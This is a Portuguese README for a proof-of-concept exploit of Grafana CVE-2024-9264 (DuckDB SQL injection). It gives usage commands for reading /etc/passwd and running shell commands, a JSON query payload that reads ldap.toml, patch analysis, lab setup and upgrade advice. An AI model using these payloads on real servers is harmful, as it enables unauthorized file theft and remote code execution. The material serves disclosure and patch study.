
Exploit para leitura arbitrária de arquivos e RCE no Grafana (CVE-2024-9264)
Esta PoC demonstra a exploração do CVE-2024-9264 usando um usuário autenticado para realizar uma consulta SQL no DuckDB e ler um arquivo arbitrário no sistema de arquivos ou executar código arbitrário remotamente.
Código arbitrário só pode ser executado no Grafana v11.0.0.
Arquivos podem ser lidos em todas as versões vulneráveis.
Configuração: Instale as dependências necessárias via:
pip install -r requirements.txt
Leitura de Arquivo (Universal):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
Execução de comando (apenas v11.0.0)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
Você também pode executar consultas DuckDB arbitrárias, como chamar getenv para recuperar variáveis de ambiente:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
A lista de funções utilitárias do DuckDB que podem ser exploradas pode ser encontrada aqui.
CVE-2024-9264 é uma vulnerabilidade de injeção SQL no DuckDB no recurso experimental de Expressões SQL do Grafana. Qualquer usuário autenticado pode executar consultas SQL arbitrárias no DuckDB através de expressões modificadas nos dashboards do Grafana.
Versões Afetadas:
Versões Corrigidas:
O Grafana lançou versões especiais para corrigir esta vulnerabilidade. Para analisar o patch, os seguintes comandos podem ser usados para comparar as alterações:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
Isso revela que o recurso de Expressões SQL foi simplesmente removido das versões vulneráveis.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
O patch remove as Expressões SQL completamente, impedindo a possibilidade de exploração.
Inicie o Grafana: Execute o Grafana com a versão 11.0.5:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
Modifique uma Expressão:
Crie um dashboard com uma expressão como "Math", intercepte a requisição com o Burp e altere o tipo de datasource de math para sql.
Uma requisição HTTP será enviada para /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.
Abaixo está o JSON mínimo necessário para realizar uma consulta DuckDB para ler um arquivo arbitrário como ./conf/ldap.toml:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
Nenhum dashboard precisa estar presente para a exploração real, é apenas uma maneira fácil de encontrar a requisição HTTP para executar uma consulta.
É importante notar que, embora esta vulnerabilidade seja crítica, sua exploração depende se o binário DuckDB está instalado no servidor Grafana. Por padrão, o Grafana não é fornecido com o DuckDB instalado, e não há opção para instalá-lo diretamente pela interface do Grafana.
Para que esta vulnerabilidade seja explorável, um administrador deve ter instalado manualmente o DuckDB e adicionado ao $PATH do servidor Grafana. Se o DuckDB não estiver presente, a vulnerabilidade de injeção SQL não pode ser aproveitada, reduzindo significativamente a probabilidade de exploração bem-sucedida em instalações padrão.
Atualize o Grafana para as versões corrigidas e certifique-se de que o binário DuckDB não esteja presente no $PATH se a aplicação do patch for adiada.